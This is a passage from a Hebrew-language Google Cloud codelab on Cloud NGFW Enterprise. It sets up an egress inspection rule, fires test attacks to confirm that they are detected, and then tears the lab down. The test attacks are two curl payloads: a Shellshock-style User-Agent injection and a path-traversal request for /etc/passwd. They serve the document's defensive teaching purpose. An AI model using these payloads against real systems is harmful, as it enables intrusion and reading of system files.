gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש מתקפות ברמת חומרה גבוהה לכתובת ה-IP של השרת החיצוני:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
הפלט אמור להיראות כך:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
עוברים לכרטיסייה Threats (איומים) ב-Cloud Console כדי לאמת את היומנים (יכול להיות שיהיה צורך לרענן כמה פעמים). המתקפות היו אמורות להיות מזוהות ומתועדות שוב, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי מופעל קודם כל כלל יציאה:

סוגרים את סשן ה-SSH וממשיכים לקטע הבא כדי לבצע את שלבי הניקוי.
8. שלבי הניקוי
ניקוי רכיבים של Cloud NGFW Enterprise
רשימה של שיוכים קיימים של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
מוחקים את השיוך של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
כדי לראות את רשימת נקודות הקצה הקיימות של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את נקודת הקצה של Cloud NGFW Enterprise. התהליך יכול להימשך כ-20 דקות:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
מריצים את הפקודה הבאה כדי לוודא ש-Cloud NGFW Enterprise נמחק:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מחיקת קבוצת פרופילים לאבטחה ופרופיל למניעת איומים:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
ניקוי הגדרות הבסיס
אם אתם מעדיפים למחוק את משאבי הבסיס, אתם יכולים להמשיך לשלב הבא.
מגדירים את משתני הסביבה, אם צריך. מ-Cloud Shell, מוחקים את הרכיבים של מאזן עומסי רשת:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
הסרת מכונות:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
אופציונלי: אם התפקידים tagAdmin ו-tagUsers השתנו, מבצעים את השלבים הבאים:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
הסרת מפתח וערכים של תג:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
מוחקים את מדיניות הרשת של חומת האש בענן ואת השיוך שלה:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
מחיקת Cloud Router ו-Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
מחיקת כתובות IP שמורות:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. מעולה!
כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Cloud NGFW Enterprise לבדיקת תנועה מזרח-מערב וצפון-דרום.